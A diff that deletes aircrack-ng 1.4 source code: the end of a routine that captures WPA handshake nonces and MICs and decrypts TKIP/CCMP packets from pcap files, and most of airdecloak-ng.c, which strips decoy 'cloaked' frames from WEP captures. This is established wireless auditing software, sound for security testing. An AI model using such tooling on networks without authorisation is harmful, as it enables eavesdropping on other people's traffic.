-				if (opt.crypt != CRYPT_WPA) continue;
-
-				/* if the PTK is valid, try to decrypt */
-
-				if (st_cur == NULL || !st_cur->valid_ptk) continue;
-
-				if (st_cur->keyver == 1)
-				{
-					if (decrypt_tkip(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
-					{
-						stats.nb_failed_tkip++;
-						continue;
-					}
-
-					pkh.len -= 20;
-					pkh.caplen -= 20;
-				}
-				else if (st_cur->keyver == 2)
-				{
-					if (decrypt_ccmp(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
-					{
-						stats.nb_failed_ccmp++;
-						continue;
-					}
-
-					pkh.len -= 16;
-					pkh.caplen -= 16;
-				}
-				else
-				{
-					fprintf(stderr, "unsupported keyver: %d\n", st_cur->keyver);
-					continue;
-				}
-
-				/* WPA data packet was successfully decrypted, *
-				 * remove the WPA Ext.IV & MIC, write the data */
-
-				if (pkh.caplen > z)
-				{
-					/* can overlap */
-					memmove(h80211 + z, h80211 + z + 8, pkh.caplen - z);
-				}
-				else
-				{
-					/* overflow */
-					continue;
-				}
-
-				stats.nb_unwpa++;
-
-				h80211[1] &= 0xBF;
-
-				if (write_packet(f_out, &pkh, h80211) != 0) break;
-			}
-		}
-		else
-		{
-			/* check ethertype == EAPOL */
-
-			z += 6;
-
-			if (h80211[z] != 0x88 || h80211[z + 1] != 0x8E)
-			{
-				stats.nb_plain++;
-
-				if (opt.crypt != CRYPT_NONE) continue;
-
-				if (write_packet(f_out, &pkh, h80211) != 0)
-					break;
-				else
-					continue;
-			}
-
-			z += 2;
-
-			/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
-
-			if (h80211[z + 1] != 0x03
-				|| (h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02))
-				continue;
-
-			/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
-
-			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
-				&& (h80211[z + 6] & 0x80) != 0
-				&& (h80211[z + 5] & 0x01) == 0)
-			{
-				/* set authenticator nonce */
-
-				memcpy(st_cur->anonce, &h80211[z + 17], 32);
-			}
-
-			/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
-
-			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
-				&& (h80211[z + 6] & 0x80) == 0
-				&& (h80211[z + 5] & 0x01) != 0)
-			{
-				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
-				{
-					/* set supplicant nonce */
-
-					memcpy(st_cur->snonce, &h80211[z + 17], 32);
-				}
-
-				/* copy the MIC & eapol frame */
-
-				st_cur->eapol_size = (h80211[z + 2] << 8) + h80211[z + 3] + 4;
-
-				if (pkh.len - z < st_cur->eapol_size || st_cur->eapol_size == 0
-					|| st_cur->eapol_size > sizeof(st_cur->eapol))
-				{
-					// Ignore the packet trying to crash us.
-					st_cur->eapol_size = 0;
-					continue;
-				}
-
-				memcpy(st_cur->keymic, &h80211[z + 81], 16);
-				memcpy(st_cur->eapol, &h80211[z], st_cur->eapol_size);
-				memset(st_cur->eapol + 81, 0, 16);
-
-				/* copy the key descriptor version */
-
-				st_cur->keyver = h80211[z + 6] & 7;
-			}
-
-			/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
-
-			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
-				&& (h80211[z + 6] & 0x80) != 0
-				&& (h80211[z + 5] & 0x01) != 0)
-			{
-				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
-				{
-					/* set authenticator nonce */
-
-					memcpy(st_cur->anonce, &h80211[z + 17], 32);
-				}
-
-				/* copy the MIC & eapol frame */
-
-				st_cur->eapol_size = (h80211[z + 2] << 8) + h80211[z + 3] + 4;
-
-				if (pkh.len - z < st_cur->eapol_size || st_cur->eapol_size == 0
-					|| st_cur->eapol_size > sizeof(st_cur->eapol))
-				{
-					// Ignore the packet trying to crash us.
-					st_cur->eapol_size = 0;
-					continue;
-				}
-
-				memcpy(st_cur->keymic, &h80211[z + 81], sizeof(st_cur->keymic));
-				memcpy(st_cur->eapol, &h80211[z], st_cur->eapol_size);
-				memset(
-					st_cur->eapol + 81,
-					0,
-					16); // where does this size come from? eapol is char[256]
-
-				/* copy the key descriptor version */
-
-				st_cur->keyver = h80211[z + 6] & 7;
-			}
-
-			st_cur->valid_ptk = calc_ptk(st_cur, opt.pmk);
-		}
-	}
-
-	/* cleanup avl tree */
-	void *key, *value;
-	while (c_avl_pick(stations, &key, &value) == 0)
-	{
-		free(value);
-	}
-	c_avl_destroy(stations);
-
-	fclose(f_in);
-	fclose(f_out);
-	if (opt.store_bad) fclose(f_bad);
-
-	/* write some statistics */
-
-	erase_line(2);
-	printf("Total number of stations seen     %8lu\n"
-		   "Total number of packets read      %8lu\n"
-		   "Total number of WEP data packets  %8lu\n"
-		   "Total number of WPA data packets  %8lu\n"
-		   "Number of plaintext data packets  %8lu\n"
-		   "Number of decrypted WEP  packets  %8lu\n"
-		   "Number of corrupted WEP  packets  %8lu\n"
-		   "Number of decrypted WPA  packets  %8lu\n"
-		   "Number of bad TKIP (WPA) packets  %8lu\n"
-		   "Number of bad CCMP (WPA) packets  %8lu\n",
-		   stats.nb_stations,
-		   stats.nb_read,
-		   stats.nb_wep,
-		   stats.nb_wpa,
-		   stats.nb_plain,
-		   stats.nb_unwep,
-		   stats.nb_bad,
-		   stats.nb_unwpa,
-		   stats.nb_failed_tkip,
-		   stats.nb_failed_ccmp);
-
-	return (0);
-}

aircrack-ng-1.4.tar.gz/src/airdecloak-ng.c Deleted

@@ -1,1856 +0,0 @@
-/*
- *  WEP Cloaking filtering
- *
- *  Copyright (C) 2008-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- *  Thanks to Alex Hernandez aka alt3kx for the hardware.
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <getopt.h>
-#include "airdecloak-ng.h"
-#include "version.h"
-#include "aircrack-osdep/radiotap/radiotap_iter.h"
-#include "aircrack-util/console.h"
-
-unsigned char buffer[65536];
-
-char * _essid;
-
-char * _filename_output_invalid;
-char * _filename_output_cloaked;
-char * _filename_output_filtered;
-FILE * _output_cloaked_packets_file;
-FILE * _output_clean_capture_file;
-FILE * _input_file;
-struct pcap_file_header _pfh_in;
-struct pcap_file_header _pfh_out;
-
-long _filters;
-
-int _is_wep;
-
-unsigned char _bssid[6];
-
-int _options_drop_fragments = 0;
-int _options_disable_retry = 0;
-int _options_disable_base_filter = 0;
-int _options_assume_null_packets_uncloaked = 0;
-
-struct decloak_stats stats;
-
-static int getBits(unsigned char b, int from, int nb_bits)
-{
-	unsigned int value = (unsigned int) b;
-	unsigned int and_1st = 0;
-	int i;
-	if (from < 0 || from > 7 || nb_bits <= 0 || (from + nb_bits) > 8)
-	{
-		return -1;
-	}
-
-	for (i = from; i < from + nb_bits; i++)
-	{
-		and_1st += 1 << i;
-	}
-
-	value &= and_1st;
-
-	value >>= from;
-
-	return value;
-}
-
-static FILE * openfile(const char * filename, const char * mode, int fatal)
-{
-	FILE * f;
-
-	if ((f = fopen(filename, mode)) == NULL)
-	{
-		perror("fopen failed\n");
-		printf("Could not open \"%s\" in \"%s\" mode.\n", filename, mode);
-
-		if (fatal)
-		{
-			exit(1);
-		}
-	}
-
-	return f;
-}
-
-// Return 1 on success, 0 on failure
-static BOOLEAN write_packet(FILE * file, struct packet_elt * packet)
-{
-	// TODO: Do not forget to swap what has to be swapped if needed (caplen,
-	// ...)
-	int result;
-	unsigned int caplen = packet->header.caplen;
-
-	// Write packet header
-	if (_pfh_in.magic == TCPDUMP_CIGAM)
-		SWAP32(packet->header
-				   .caplen); // Make sure it is re-swapped CORRECTLY -> OK
-
-	result = fwrite(&(packet->header), 1, PACKET_HEADER_SIZE, file);
-	if (result != PACKET_HEADER_SIZE)
-	{
-		perror("fwrite(packet header) failed");
-		return false;
-	}
-
-	// Write packet
-	result = fwrite(packet->packet, 1, caplen, file);
-	if (result != (int) caplen)
-	{
-		perror("fwrite(packet) failed");
-		return false;
-	}
-
-	return true;
-}
-
-static FILE * init_new_pcap(const char * filename)
-{
-	FILE * f;
-
-	f = openfile(filename, "wb", 1);
-
-	if (f != NULL)
-	{
-		if (fwrite(&_pfh_out, 1, sizeof(_pfh_out), f)
-			!= (size_t) sizeof(_pfh_out))
-		{
-			perror("fwrite(pcap file header) failed");
-		}
-	}
-
-	return f;
-}
-
-static FILE * open_existing_pcap(const char * filename)
-{
-	FILE * f;
-	size_t temp_sizet;
-
-	f = fopen(filename, "rb");
-
-	if (f == NULL)
-	{
-		perror("Unable to open pcap");
-		return NULL;
-	}
-
-	temp_sizet = (size_t) sizeof(_pfh_in);
-
-	if (fread(&_pfh_in, 1, temp_sizet, f) != temp_sizet)
-	{
-		perror("fread(pcap file header) failed");
-		fclose(f);
-		return NULL;
-	}
-
-	if (_pfh_in.magic != TCPDUMP_MAGIC && _pfh_in.magic != TCPDUMP_CIGAM)
-	{
-		printf("\"%s\" isn't a pcap file (expected "
-			   "TCPDUMP_MAGIC).\n",
-			   filename);
-		fclose(f);
-		return NULL;
-	}
-	_pfh_out = _pfh_in;
-
-	if (_pfh_in.magic == TCPDUMP_CIGAM) SWAP32(_pfh_in.linktype);
-
-	if (_pfh_in.linktype != LINKTYPE_IEEE802_11
-		&& _pfh_in.linktype != LINKTYPE_PRISM_HEADER
-		&& _pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
-		&& _pfh_in.linktype != LINKTYPE_PPI_HDR)
-	{
-		printf("\"%s\" isn't a regular 802.11 "
-			   "(wireless) capture.\n",
-			   filename);
-		fclose(f);
-		return NULL;
-	}
-	else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-	{
-		printf("Radiotap header found. Parsing Radiotap is experimental.\n");
-	}
-	else if (_pfh_in.linktype == LINKTYPE_PPI_HDR)
-	{
-		printf("PPI not yet supported\n");
-		fclose(f);
-		return NULL;
-	}
-
-	//_pcap_linktype = _pfh_in.linktype;
-
-	return f;
-}
-
-static BOOLEAN initialize_linked_list()
-{
-	_packet_elt_head
-		= (struct packet_elt_header *) malloc(sizeof(struct packet_elt_header));
-	_packet_elt_head->first
-		= (struct packet_elt *) malloc(sizeof(struct packet_elt));
-	_packet_elt_head->last = _packet_elt_head->first;
-	_packet_elt_head->current = _packet_elt_head->first;
-	_packet_elt_head->current->complete = 0;
-	_packet_elt_head->current->prev = NULL; // First packet, no previous
-	_packet_elt_head->current->next = NULL;
-	_packet_elt_head->nb_packets = 1;
-	return true;
-}
-
-static BOOLEAN add_node_if_not_complete()
-{
-	if (_packet_elt_head->current->complete == 1)
-	{
-		// Allocate new packet
-		_packet_elt_head->current->next
-			= (struct packet_elt *) malloc(sizeof(struct packet_elt));
-		_packet_elt_head->current->next->prev = _packet_elt_head->current;
-		_packet_elt_head->current = _packet_elt_head->current->next;
-
-		_packet_elt_head->current->complete = 0;
-		_packet_elt_head->nb_packets += 1;
-
-		// Last will be set at the end of the while when everything went ok
-	} // No free of the *packet pointer because it is only set when everything
-	// is ok => if a packet is not ok, it will never have *packet malloced
-	// Always reset is_cloaked field and dropped field
-	_packet_elt_head->current->is_cloaked
-		= UKNOWN_FRAME_CLOAKING_STATUS; // Unknown state of this packet
-	_packet_elt_head->current->is_dropped = 0;
-	return true;
-}
-
-static void set_node_complete(void)
-{
-	_packet_elt_head->current->complete = 1;
-	_packet_elt_head->last = _packet_elt_head->current;
-}
-
-static void remove_last_uncomplete_node(void)
-{
-	struct packet_elt * packet;
-	if (_packet_elt_head->current->complete == 0)
-	{
-		packet = _packet_elt_head->current;
-		_packet_elt_head->nb_packets -= 1;
-		if (_packet_elt_head->current->prev)
-		{
-			_packet_elt_head->current->prev->next = NULL;
-		}
-		free(packet);
-	}
-}
-
-static int get_rtap_signal(int caplen)
-{
-	struct ieee80211_radiotap_iterator iterator;
-	struct ieee80211_radiotap_header * rthdr;
-
-	rthdr = (struct ieee80211_radiotap_header *) buffer;
-
-	if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL) < 0)
-		return 0;
-
-	while (ieee80211_radiotap_iterator_next(&iterator) >= 0)
-	{
-		if (iterator.this_arg_index == IEEE80211_RADIOTAP_DBM_ANTSIGNAL)
-			return *iterator.this_arg;
-		if (iterator.this_arg_index == IEEE80211_RADIOTAP_DB_ANTSIGNAL)
-			return *iterator.this_arg;
-		if (iterator.this_arg_index == IEEE80211_RADIOTAP_LOCK_QUALITY)
-			return *iterator.this_arg;
-	}
-	return 0;
-}
-
-// !!!! WDS not yet implemented
-static BOOLEAN read_packets(void)
-{
-	int i, start;
-	time_t tt;
-	unsigned char * h80211;
-	size_t bytes_read;
-
-	i = 0;
-
-	memset(&stats, 0, sizeof(stats));
-	tt = time(NULL);
-
-	switch (_pfh_in.linktype)
-	{
-		case LINKTYPE_PRISM_HEADER:
-			start = 144; // based on madwifi-ng
-			break;
-		case LINKTYPE_RADIOTAP_HDR:
-			start = (int) (buffer[2]); // variable length!
-			break;
-		case LINKTYPE_IEEE802_11:
-		// 0
-		case LINKTYPE_PPI_HDR:
-		// ?
-		default:
-			start = 0;
-			break;
-	}
-
-	// Show link type
-	printf("Link type (Prism: %d - Radiotap: %d - 80211: %d - PPI - %d): ",
-		   LINKTYPE_PRISM_HEADER,
-		   LINKTYPE_RADIOTAP_HDR,
-		   LINKTYPE_IEEE802_11,
-		   LINKTYPE_PPI_HDR);
-
-	switch (_pfh_in.linktype)
-	{
-		case LINKTYPE_PRISM_HEADER:
-			puts("Prism");
-			break;
-		case LINKTYPE_RADIOTAP_HDR:
-			puts("Radiotap");
-			break;
-		case LINKTYPE_IEEE802_11:
-			puts("802.11");
-			break;
-		case LINKTYPE_PPI_HDR:
-			puts("PPI");
-			break;
-		default:
-			printf("Unknown (%lu)\n", (unsigned long) _pfh_in.linktype);
-			break;
-	}
-
-	// Initialize double linked list.
-	initialize_linked_list();
-
-	while (1)
-	{
-		if (time(NULL) - tt > 0)
-		{
-			// update the status line every second
-
-			erase_line(0);
-			printf("Read %lu packets...\r", stats.nb_read);
-			fflush(stdout);
-			tt = time(NULL);
-		}
-
-		/* read one packet */
-
-		// Only malloc if complete
-		add_node_if_not_complete();
-
-		// puts("Reading packet header");
-		bytes_read = fread(&(_packet_elt_head->current->header),
-						   1,
-						   PACKET_HEADER_SIZE,
-						   _input_file);
-		if (bytes_read != (size_t) PACKET_HEADER_SIZE)
-		{
-			if (bytes_read != 0)
-			{
-				printf("Failed to read packet header.\n");
-			}
-			else
-			{
-				// Normal, reached EOF.
-				// printf("Reached EOF.\n");
-			}
-			break;
-		}
-
-		if (_pfh_in.magic == TCPDUMP_CIGAM)
-			SWAP32(_packet_elt_head->current->header.caplen);
-
-		if (_packet_elt_head->current->header.caplen <= 0
-			|| _packet_elt_head->current->header.caplen > 65535)
-		{
-			printf("Corrupted file? Invalid packet length %lu.\n",
-				   (unsigned long) _packet_elt_head->current->header.caplen);
-			break;
-		}
-
-		// Reset buffer
-		memset(buffer, 0, 65536);
-
-		// Read packet from file
-		bytes_read = fread(
-			buffer, 1, _packet_elt_head->current->header.caplen, _input_file);
-
-		if (bytes_read != (size_t) _packet_elt_head->current->header.caplen)
-		{
-			printf("Error reading the file: read %lu bytes out of %lu.\n",
-				   (unsigned long) bytes_read,
-				   (unsigned long) _packet_elt_head->current->header.caplen);
-
-			break;
-		}
-
-		stats.nb_read++;
-
-		// Put all stuff in the packet header and
-
-		// ---------------------------- Don't remove anything
-		// ----------------------
-		// ---------------------------- Just know where the packet start
-		// -----------
-
-		h80211 = buffer + start;
-
-		// Know the kind of packet
-		_packet_elt_head->current->frame_type = getBits(*h80211, 2, 2);
-
-#ifdef DEBUG
-		printf("Frame type: %d\n", _packet_elt_head->current->frame_type);
-#endif
-
-		_packet_elt_head->current->version_type_subtype = *h80211;
-
-#ifdef DEBUG
-		printf("First byte: %x\n", *h80211);
-#endif
-
-		// Filter out unknown packet types and control frames
-		if (_packet_elt_head->current->frame_type != FRAME_TYPE_DATA
-			&& _packet_elt_head->current->frame_type != FRAME_TYPE_MANAGEMENT)
-		{
-			// Don't care about the frame if it's a control or unknown frame).
-			if (_packet_elt_head->current->frame_type != FRAME_TYPE_CONTROL)
-			{
-				// Unknown frame type, log it
-				// printf("Unknown frame type: %d\n", packet->frame_type);
-				// ------------- May be interesting to put all those packets in
-				// a separate file
-			}
-			continue;
-		}
-
-		if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT)
-		{
-			// Assumption: Management packets are not cloaked (may change in the
-			// future)
-			_packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED;
-		}
-		else if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
-		{
-			_packet_elt_head->current->is_cloaked
-				= UKNOWN_FRAME_CLOAKING_STATUS;
-		}
-
-		// Retry bit
-		_packet_elt_head->current->retry_bit = getBit(*(h80211 + 1), 3);
-
-		// More fragments bit
-		_packet_elt_head->current->more_fragments_bit
-			= getBit(*(h80211 + 1), 2);
-		if (_packet_elt_head->current->more_fragments_bit
-			&& _options_drop_fragments)
-		{
-			_packet_elt_head->current->is_dropped = 1;
-		}
-
-// TODO: Get the speed from the packet if radiotap/prism header exist.
-
-// TODO: Get also the channel from the headers (the sensor may inject
-//       cloaked frames on a channel is not the same as the AP)
-
-#ifdef DEBUG
-		printf("Retry bit: %d\n", _packet_elt_head->current->retry_bit);
-		printf("More fragments bit: %d\n",
-			   _packet_elt_head->current->more_fragments_bit);
-#endif
-		/*------------------------------- drop if control frame (does not
-		 * contains SN) ----------------------*/
-		// TODO: We should care about control frames since they are not cloaked
-		//       and they can be useful for signal filtering (have a better
-		//       average).
-
-		/* check the BSSID */
-		switch (h80211[1] & 3)
-		{
-			case 0: // To DS = 0, From DS = 0: DA, SA, BSSID (Ad Hoc)
-				memcpy(_packet_elt_head->current->destination, h80211 + 4, 6);
-				memcpy(_packet_elt_head->current->source, h80211 + 10, 6);
-				memcpy(_packet_elt_head->current->bssid, h80211 + 16, 6);
-
-				_packet_elt_head->current->fromDS = 0;
-				_packet_elt_head->current->toDS = 0;
-				break;
-
-			case 1: // To DS = 1, From DS = 0: BSSID, SA, DA (To DS)
-				memcpy(_packet_elt_head->current->bssid, h80211 + 4, 6);
-				memcpy(_packet_elt_head->current->source, h80211 + 10, 6);
-				memcpy(_packet_elt_head->current->destination, h80211 + 16, 6);
-
-				_packet_elt_head->current->fromDS = 0;
-				_packet_elt_head->current->toDS = 1;
-				break;
-
-			case 2: // To DS = 0, From DS = 1: DA, BSSID, SA (From DS)
-				memcpy(_packet_elt_head->current->destination, h80211 + 4, 6);
-				memcpy(_packet_elt_head->current->bssid, h80211 + 10, 6);
-				memcpy(_packet_elt_head->current->source, h80211 + 16, 6);
-
-				_packet_elt_head->current->fromDS = 1;
-				_packet_elt_head->current->toDS = 0;
-				break;
-
-			case 3: // To DS = 1, From DS = 1: RA, TA, DA, SA (WDS)
-				memcpy(_packet_elt_head->current->source, h80211 + 24, 6);
-				memcpy(_packet_elt_head->current->bssid, h80211 + 10, 6);
-				memcpy(_packet_elt_head->current->destination, h80211 + 16, 6);
-
-				_packet_elt_head->current->fromDS = 1;
-				_packet_elt_head->current->toDS = 1;
-				break;
-		}
-
-#ifdef DEBUG
-		printf("From DS: %d - ToDS: %d\n",
-			   _packet_elt_head->current->fromDS,
-			   _packet_elt_head->current->toDS);
-		printf("BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n",
-			   _packet_elt_head->current->bssid[0],
-			   _packet_elt_head->current->bssid[1],
-			   _packet_elt_head->current->bssid[2],
-			   _packet_elt_head->current->bssid[3],
-			   _packet_elt_head->current->bssid[4],
-			   _packet_elt_head->current->bssid[5]);
-		printf("Source: %02X:%02X:%02X:%02X:%02X:%02X\n",
-			   _packet_elt_head->current->source[0],
-			   _packet_elt_head->current->source[1],
-			   _packet_elt_head->current->source[2],
-			   _packet_elt_head->current->source[3],
-			   _packet_elt_head->current->source[4],
-			   _packet_elt_head->current->source[5]);
-		printf("Dest: %02X:%02X:%02X:%02X:%02X:%02X\n",
-			   _packet_elt_head->current->destination[0],
-			   _packet_elt_head->current->destination[1],
-			   _packet_elt_head->current->destination[2],
-			   _packet_elt_head->current->destination[3],
-			   _packet_elt_head->current->destination[4],
-			   _packet_elt_head->current->destination[5]);
-#endif
-
-		// Filter out packets not belonging to our BSSID
-		if (memcmp(_packet_elt_head->current->bssid, _bssid, 6))
-		{
-			// Not the BSSID we are looking for
-			// printf("It's not the BSSID we are looking for.\n");
-			continue;
-		}
-
-		// Grab sequence number and fragment number
-		_packet_elt_head->current->sequence_number
-			= ((h80211[22] >> 4) + (h80211[23] << 4)); // 12 bits
-		_packet_elt_head->current->fragment_number
-			= getBits(h80211[23], 4, 4); // 4 bits
-
-		// drop frag option
-		if (_options_drop_fragments
-			&& _packet_elt_head->current->fragment_number)
-		{
-			_packet_elt_head->current->is_dropped = 1;
-		}
-
-#ifdef DEBUG
-		printf("Sequence: %d - Fragment: %d\n",
-			   _packet_elt_head->current->sequence_number,
-			   _packet_elt_head->current->fragment_number);
-#endif
-		// Get the first beacon and search for WEP only
-		// if not (data) wep, stop completely processing (_is_wep)
-		if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT)
-		{
-			// Get encryption from beacon/probe response
-			if (h80211[0] == BEACON_FRAME || h80211[0] == PROBE_RESPONSE)
-			{
-				if ((h80211[34] & 0x10) >> 4)
-				{
-					_is_wep = 1;
-					// Make sure it's not WPA
-
-					// TODO: See airodump-ng around line 1500
-				}
-				else
-				{
-					// Completely stop processing
-					printf(
-						"FATAL ERROR: The network is not WEP (byte 34: %d)\n.",
-						h80211[34]);
-					exit(1);
-				}
-			}
-		}
-
-		if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
-		{
-			// Copy IV
-			memcpy(_packet_elt_head->current->iv, (h80211 + 24), 3);
-
-#ifdef DEBUG
-			printf("IV: %X %X %X\n",
-				   _packet_elt_head->current->iv[0],
-				   _packet_elt_head->current->iv[1],
-				   _packet_elt_head->current->iv[2]);
-#endif
-
-			// Copy key index
-			_packet_elt_head->current->key_index = h80211[27];
-#ifdef DEBUG
-			printf("Key index: %d\n", _packet_elt_head->current->key_index);
-#endif
-			// Copy checksum
-			memcpy(_packet_elt_head->current->icv,
-				   buffer + (_packet_elt_head->current->header.caplen) - 4,
-				   4);
-#ifdef DEBUG
-			printf("ICV: %X %X %X %X\n",
-				   _packet_elt_head->current->icv[0],
-				   _packet_elt_head->current->icv[1],
-				   _packet_elt_head->current->icv[2],
-				   _packet_elt_head->current->icv[3]);
-#endif
-		}
-		else
-		{ // Management packet (control packets were filtered out.
-			_packet_elt_head->current->iv[0] = _packet_elt_head->current->iv[1]
-				= _packet_elt_head->current->iv[2] = 0;
-			_packet_elt_head->current->key_index = 0;
-			_packet_elt_head->current->icv[0]
-				= _packet_elt_head->current->icv[1]
-				= _packet_elt_head->current->icv[2]
-				= _packet_elt_head->current->icv[3] = 0;
-#ifdef DEBUG
-			printf("Not a data packet thus no IV, no key index, no ICV\n");
-#endif
-		}
-
-		// Copy the packet itself
-		_packet_elt_head->current->packet = (unsigned char *) malloc(
-			_packet_elt_head->current->header.caplen);
-		memcpy(_packet_elt_head->current->packet,
-			   buffer,
-			   _packet_elt_head->current->header.caplen);
-
-		// Copy signal if exist
-		_packet_elt_head->current->signal_quality = -1;
-		if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER)
-		{
-			// Hack: pos 0x44 (at least on madwifi-ng)
-			_packet_elt_head->current->signal_quality = buffer[0x44];
-		}
-		else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-		{
-			_packet_elt_head->current->signal_quality
-				= get_rtap_signal(_packet_elt_head->current->header.caplen);
-		}
-#ifdef DEBUG
-		printf("Signal quality: %d\n",
-			   _packet_elt_head->current->signal_quality);
-#endif
-
-// Append to the list
-#ifdef ONLY_FIRST_PACKET
-		puts("!!! Don't forget to append");
-
-		break;
-#else
-		set_node_complete();
-#endif
-	}
-	remove_last_uncomplete_node();
-
-	printf("Nb packets: %d           \n", _packet_elt_head->nb_packets);
-
-	return true;
-}
-
-static void reset_current_packet_pointer(void)
-{
-	_packet_elt_head->current = _packet_elt_head->first;
-}
-
-static BOOLEAN reset_current_packet_pointer_to_ap_packet(void)
-{
-	reset_current_packet_pointer();
-	return next_packet_pointer_from_ap();
-}
-
-static BOOLEAN reset_current_packet_pointer_to_client_packet(void)
-{
-	reset_current_packet_pointer();
-	return next_packet_pointer_from_client();
-}
-
-static BOOLEAN next_packet_pointer_from_ap(void)
-{
-	while (_packet_elt_head->current->toDS != 0)
-	{
-		if (next_packet_pointer() == false)
-		{
-			return false;
-		}
-	}
-	if (_packet_elt_head->current->toDS == 0)
-	{
-		return true;
-	}
-	else
-	{
-		return false;
-	}
-}
-
-static BOOLEAN next_packet_pointer_from_client(void)
-{
-	while (_packet_elt_head->current->toDS == 0)
-	{
-		if (next_packet_pointer() == false)
-		{
-			return false;
-		}
-	}
-	if (_packet_elt_head->current->toDS == 1)
-	{
-		return true;
-	}
-	else
-	{
-		return false;
-	}
-}
-
-static BOOLEAN next_packet_pointer(void)
-{
-	BOOLEAN success = false;
-	// Go to next packet if not the last one
-	if (_packet_elt_head->current != _packet_elt_head->last)
-	{
-		_packet_elt_head->current = _packet_elt_head->current->next;
-		success = true;
-	}
-
-	return success;
-}
-
-static int compare_SN_to_current_packet(struct packet_elt * packet)
-{
-	if (_packet_elt_head->current->sequence_number > packet->sequence_number)
-	{
-		// Current packet SN is superior to packet SN
-		return 1;
-	}
-	else if (_packet_elt_head->current->sequence_number
-			 < packet->sequence_number)
-	{
-		// Current packet SN is inferior to packet SN
-		return -1;
-	}
-
-	// Identical
-	return 0;
-}
-
-static BOOLEAN
-current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet)
-{
-	BOOLEAN success = false;
-
-	if (_packet_elt_head->current->fromDS == packet->fromDS
-		&& _packet_elt_head->current->toDS == packet->toDS)
-	{
-		if (packet->fromDS == 1 && packet->toDS == 0)
-		{
-			// Coming from the AP, no other check needed
-			// (BSSID check already done when creating this list)
-			success = true;
-		}
-		else
-		{
-			// Also check MAC source
-			if (maccmp(packet->source, _packet_elt_head->current->source) == 0)
-			{
-				success = true;
-			}
-		}
-	}
-	else if (packet->fromDS == 0 && packet->toDS == 0)
-	{
-		// Beacons (and some other packets) coming from the AP (both from and
-		// toDS are 0).
-		if (_packet_elt_head->current->fromDS == 1
-			&& _packet_elt_head->current->toDS == 0)
-		{
-			success = true;
-		}
-	}
-
-	return success;
-}
-
-static BOOLEAN
-next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet)
-{
-	BOOLEAN success = false;
-
-	// !!! Now we only have the packets from the BSSID.
-
-	while (success == 0 && next_packet_pointer())
-	{
-		success = current_packet_pointer_same_fromToDS_and_source(packet);
-	}
-	return success;
-}
-
-static BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current(void)
-{
-	return next_packet_pointer_same_fromToDS_and_source(
-		_packet_elt_head->current);
-}
-
-static int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(void)
-{
-	// This filtered 1148 packets on a 300-350K capture (~150K were cloaked)
-	// Filtering was done correctly, all packets marked as cloaked were really
-	// cloaked).
-	struct packet_elt * current_packet;
-	int how_far, nb_marked;
-
-	puts("Cloaking - Marking all duplicate SN cloaked if frame is valid or "
-		 "uncloaked");
-
-	// Start from the beginning (useful comment)
-	reset_current_packet_pointer();
-
-	nb_marked = 0;
-	do
-	{
-		// We should first check for each VALID_FRAME_UNCLOAKED or CLOAKED_FRAME
-		// packet
-		// PACKET_CHECKING_LENGTH packets later (ONLY NEXT PACKETS)
-		// and if one of the packet has an identical SN, mark it as CLOAKED
-		if (_packet_elt_head->current->is_cloaked != VALID_FRAME_UNCLOAKED
-			&& _packet_elt_head->current->is_cloaked != CLOAKED_FRAME)
-		{
-			// Go to next packet if frame is not valid
-			continue;
-		}
-
-		current_packet = _packet_elt_head->current;
-
-		// printf("Trying current packet: %d,%d (SN: %d)\n",
-		// current_packet->fromDS, current_packet->toDS,
-		// current_packet->sequence_number);
-
-		// print_packet(_packet_elt_head->current);
-
-		how_far = 0;
-		while (++how_far <= PACKET_CHECKING_LENGTH
-			   && next_packet_pointer_same_fromToDS_and_source(current_packet)
-					  == true)
-		{
-			switch (_packet_elt_head->current->is_cloaked)
-			{
-				case VALID_FRAME_UNCLOAKED:
-				case CLOAKED_FRAME:
